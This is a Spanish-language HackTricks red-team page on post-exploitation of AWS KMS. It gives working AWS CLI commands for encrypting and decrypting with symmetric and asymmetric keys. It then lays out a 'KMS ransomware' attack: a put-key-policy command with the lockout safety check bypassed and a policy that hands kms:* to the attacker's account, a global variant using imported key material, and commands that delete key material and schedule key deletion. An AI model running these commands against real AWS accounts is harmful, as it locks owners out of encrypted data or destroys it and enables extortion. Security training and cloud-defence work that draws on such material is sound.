AWS - KMS Post Exploitation

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

KMS

Para más información consulta:

pageAWS - KMS Enum

Encriptar/Desencriptar información

  • Utilizando una llave simétrica

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utilizando una clave asimétrica:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

Ransomware de KMS

Un atacante con acceso privilegiado sobre KMS podría modificar la política de claves de KMS y conceder acceso a su cuenta sobre ellas, eliminando el acceso otorgado a la cuenta legítima.

Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido encriptado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta.

Tenga en cuenta que las claves administradas por AWS no se ven afectadas por este ataque, solo las claves administradas por el cliente.

También tenga en cuenta la necesidad de usar el parámetro --bypass-policy-lockout-safety-check (la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Ten en cuenta que si cambias esa política y solo das acceso a una cuenta externa, y luego desde esta cuenta externa intentas establecer una nueva política para devolver el acceso a la cuenta original, no podrás hacerlo.

Ransomware Genérico de KMS

Ransomware de KMS Global

Hay otra forma de llevar a cabo un Ransomware de KMS global, que implicaría los siguientes pasos:

  • Crear una nueva clave con un material de clave importado por el atacante

  • Reencriptar datos antiguos encriptados con la versión anterior con la nueva.

  • Eliminar la clave de KMS

  • Ahora solo el atacante, que tiene el material de clave original, podría descifrar los datos encriptados

Destruir claves

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Ten en cuenta que AWS ahora impide que las acciones anteriores se realicen desde una cuenta cruzada:

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización